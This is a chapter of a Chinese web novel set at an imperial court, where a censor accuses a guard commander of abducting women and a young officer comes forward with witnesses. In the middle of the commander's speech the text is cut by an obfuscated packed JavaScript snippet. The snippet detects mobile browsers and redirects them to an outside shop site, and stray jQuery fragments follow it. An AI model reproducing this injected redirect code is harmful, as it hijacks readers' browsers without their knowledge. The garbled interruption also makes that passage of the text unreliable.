文趣网 > 都市小说 > 檀香烬 > 37. 因为她信他
    清仪神色敛然,忽而后退一步,只听扑通一声,她便已直直地跪在地上。

    “你这是做什么?”陈执生连忙上前扶住她。

    清仪却避开了他的手,郑重地躬下身去行了一个大礼,她以头抢地字字铿锵地说道:“若到了时机成熟之时,求少爷尽全力救救她们,莫让作恶多端的人逍遥法外。”

    “这也并非是我所能决定,我所代表的也并非只有我一人,”陈执生犯了难,他犹豫不决地看向伏跪在地之人,最终心下一横道:“我答应你,我会尽力而为。”

    “多谢少爷。”

    清仪心中的巨石这才终于落了地,她默默地抬起头,陈执生那张清俊流逸的面庞伫立在眼前,他一双水光盈盈的眼眸直直地望着她,她无端地觉得安心,大抵是因为她信他。

    几日后,朝堂上——

    大殿之内金砖铺地,光洁无滓的金砖像一面巨大的镜子倒映着上空层层叠叠的天花,雕花刻龙的御道铺陈于正中间,由近至远登阶而上,像一条逆流的长河,贯穿到远方那高台上的帝王宝座处。

    只见宝座上方金龙盘绕,富丽森然。

    文武百官分列御路东西,依品阶而立,高台之下众人垂手侍立,整个大殿鸦雀无声。

    片刻后,一阵脚步声缓缓而至,只见司礼监掌印太监马蛇行至堂前,这位本朝最年轻的掌印太监长身玉立于御座一侧,一张白皙干净的脸上无甚表情,只是睨着细长的眼睛俯视众人,见诸人皆已站定,便也转过身去候驾。

    只听鸣鞭三声,天子缓步入内,朝仪遂启。

    他目光扫过左右两班,开口道:“诸卿,尚有何事启奏?”

    话音刚落,只见一名身量消瘦之人自文官班中跨步出列,撩袍下跪道:“臣监察御史姚冲,有本启奏。”

    堂上之人身着明黄色衮服,那衣服上五爪金龙盘绕其中,他那副平眉凤目亦是含威不露,见到姚冲眉宇中已是锋芒尽显,他将嘴角轻轻一勾。

    “准奏。”

    “臣有本弹劾羽林卫中郎将大人韦昭。其人身居要职,不思恪尽职守,反而行事乖张,骄奢淫逸。”

    此言一出,众臣皆是面上一惊,大家交头接耳彼此相顾,站在一旁的韦昭登时神色一冷,横眉怒视姚冲所在方向。

    “哦?”帝王宝座之上传出了一声轻疑,天子面上却是毫无吃惊之色,只是饶有兴味地看向姚冲问道:“此话怎讲?”

    “启禀陛下,韦大人数次调用羽林卫为自己修缮宅院,更是纵容麾下士兵在郊外城镇横行,强拿酒食器物,鱼肉百姓,他本人亦是借巡查之命勒索商贾,其出行所乘坐马车也极尽豪华。”

    姚冲厉声说着,面色愈加涨红,声音更是一声比一声高,他张了张嘴大声斥道:“这一年来韦大人是愈加猖狂,甚至强掠民间良家女子,将其囚在院中,供他狎溺姬侍、夜夜笙歌。此等欺压百姓、放浪形骸、目无纲纪之人,实在有违重任,请陛下严加查办。”

    言罢,他朝堂上重重一揖,他刚刚退回班次,只见又一名监察御史自文官班出列,跪伏丹墀之上,扬声高和道:“启禀陛下,臣附议!”

    韦昭见此情况已是面色铁青,他目眦欲裂、咬牙切齿地看向出列之人。

    天子的声音幽幽地从高处传来:“韦昭,御史所参,你有何话说?”

    只见韦昭三步并两步匆匆出列,他意极惶恐,伏跪在地哀声辩解。

    “启禀陛下,臣治军不严,麾下偶有士兵滋事,是臣管束不力,臣甘愿领此失察之罪,然羽林卫乃是皇家禁军,臣偶尔会与麾下几名校尉在院中小酌,可却从未聚众酣饮,却不知是如何被传成调用羽林卫为自己修院,此等荒废军务之举,臣断然不敢为之!”

    他看似讶然失措,却声如洪钟,字字辩驳在理。

    只见他抬首看向文官之列,长叹一声说道:“臣的衣食住行一贯皆是符合规章制度,不敢有丝毫逾矩,恳请陛下遣官勘问,辨明真伪!”

    天子端坐明堂,闻言不露声色地看向太监马蛇抬了抬下巴。

    马蛇便躬身自御案取过状纸、弹章,他步下丹墀,定身于韦昭面前,狭长的眼中闪过一丝戏谑之色,将手中之物递给他。

    “卿且观之。”天子声音落下。

    韦昭低下头去一一鉴看纸上所书罪状,脸色愈加泛白,那双眼睛里涌出狰狞可怖的怒色,看至末尾时,却见他眸色一转抬起头看向天子,振振有词地张开口。

    “依御史大人所言,臣犯了强掠民女之罪,可这奏疏上却只是言及京中几家女儿失踪,最后尸身在郊外找到,证人只言看到我府曾抬出去面覆白布之女子,却无法确定这女子就是京中失踪之人。”

    他顿了顿,接着道:“况且我王府内,近来因一丫鬟生了瘟疫牵连许多人,有人病死抬出去,这是再正常不过的事情了。”

    说着,他将眼斜睨,看向武官一列。

    一腰圆膀宽的男子从中出列,跪在韦昭身前扬声道:“启禀陛下,臣愿意为中郎将作证,他方才所言非虚,因着家中瘟疫他已然头疼数日。”

    只听他话音一落,便又有一人出列。

    “臣附议。”

    陈执生立于一侧,抬眸看去,沈将军正给沈评使眼色,只见沈评却轻轻摇了摇头,将眸子垂了下去。

    高台宝座之上,只见天子眉心微微一蹙,一双镇定的眸子渐渐阴沉下去,他再次转首看向姚冲,冷声冷气地说:“御史,卿可与之对峙。”

    监察御史亦移步出班,二人同立阶下,当庭往复辩驳。

    “启禀陛下,我手下之人曾遇到一失踪多日的女子被从韦府运出,其生身父母亦前往验尸,那女子身上多处伤痕,人证物证俱在。”姚冲正色道。

    韦昭理直气壮地张口道:“陛下,此事我亦有所耳闻,府中尚存其卖身文契,有其父兄与中人画押。”

    “启禀陛下!”姚冲义愤填膺地扬声道:“文契可胁迫画押,亲眷亦可利诱收买,仅凭这些——”

    “姚大人,”韦昭脸上露出一分似笑非笑的讥讽之色,他打断道:“除了那些百姓捕风捉影的谣传,你可还有其它证据?”

    姚冲面上一怔,刚欲申辩,只听他幽幽地开口。

    “启禀陛下,既然姚大人说我数次强掠女子,若行此事必然会被路人与四邻看到,敢问姚大人可有人证?依姚大人所言

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938478|213788||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,我又是如何不动声色地使如此多的女子失踪的呢?”

    他立于阶下,义正词严地朗声道,一声比一声高。

    一语言毕,整个大殿鸦雀无声,像一场戛然而止的战争以无声的沉默宣布了结果。

    姚冲一时哑口无言,他强压下心中的愤懑,默默地伏跪在地,他想替那些无名之尸讨一个公道,却忘了死人是无法张口说话的。

    巍巍宫阁矗立无声,琼花高殿内金辉璀璨。

    华美的殿宇里暖香袭人,陈执生就立于行列中,却只感觉到四周充斥着最不该出现的冷铁之气,父亲、大哥、沈评、沈凛……俱是垂首而立,不作一言。

    他仰头看过去,目光尽头那人静静地坐着,那双眼中既没有对检举之士的赞许,亦没有对逾矩之人的愤恨,对朝堂的一切似乎早已熟视无睹、满不在乎。

    就连处决时亦是轻描淡写地张口:“既是证据不足,此事便——”

    “陛下!”

    这一声高呼像是一头初生的幼牛冒冒失失地闯进了大殿一般,所有人都对这个打破常规之人投去了目光。

    只见一星目剑眉的少年自武官之列疾步而出,身量高挑,气宇不凡。

    是陈执生。

    他敛衽跪地,高声奏道:“臣锦衣卫百户陈执生,启禀陛下,臣手中尚有旁证,可辨此事真伪。”

    “陈执生……”天子喃喃说,眸光一闪似乎来了兴致,问道:“堂下可是陈尚书的嫡子?”

    “回禀陛下,臣是。”

    “你有何旁证,说来听听。”堂上之人正色道。

    “臣前几日机缘巧合之下在城中遇到两名自韦大人宅院逃出的女子,她们皆言自己被迷晕而强行被送进宅院当中,其家丁亦说曾多次帮韦大人胁掠良家子,此为人证。”

    陈执生顿了顿,看向四周。

    只见韦昭面有愠色正对自己横目而视,余光中,父亲和大哥他们也朝自己看过来,那面上究竟是不敢置信还是恨铁不成钢,他亦不敢看去。

    殿宇煌煌,本就应当是匡扶社稷、救济苍生之处,他并非不懂得明哲保身的道理,对自己当面与韦家作对的后果亦是心中了然,可如今这罪大恶极之人要被开脱,他发现自己已经无法做到隔岸观火。

    陈执生双目微热,面上涌现出一丝凛然的疏朗之色。

    只听他声色俱厉道:“据那两名女子所言,城东那家送暖胭脂铺与韦大人应是有所私交,便是通过在胭脂中下迷药的方式,将那些女子迷晕再送去韦家宅院中,如若立即派人前去核查,应该还能找到剩下的迷药。”

    此言一出,四下哗然。

    从此以后自己便与韦昭甚至是韦家结下了梁子,陈执生暗暗想着,父亲会责备自己妇人之仁,难堪大任,母亲会对自己这个自幼便精心栽培、望子成龙的儿子失望。

    但是那些被困府宅的女子能够回家了,下一个步入那家胭脂铺的女子不会失掉清白了。

    他脊背挺直,已将胸中所垒一扫而尽,只觉得坦荡无愧。

    嗡嗡不止的喧哗声中,一个身影从武官之列站出,他眸中那道希冀的微光倏然一暗——是金吾卫指挥使,李盛。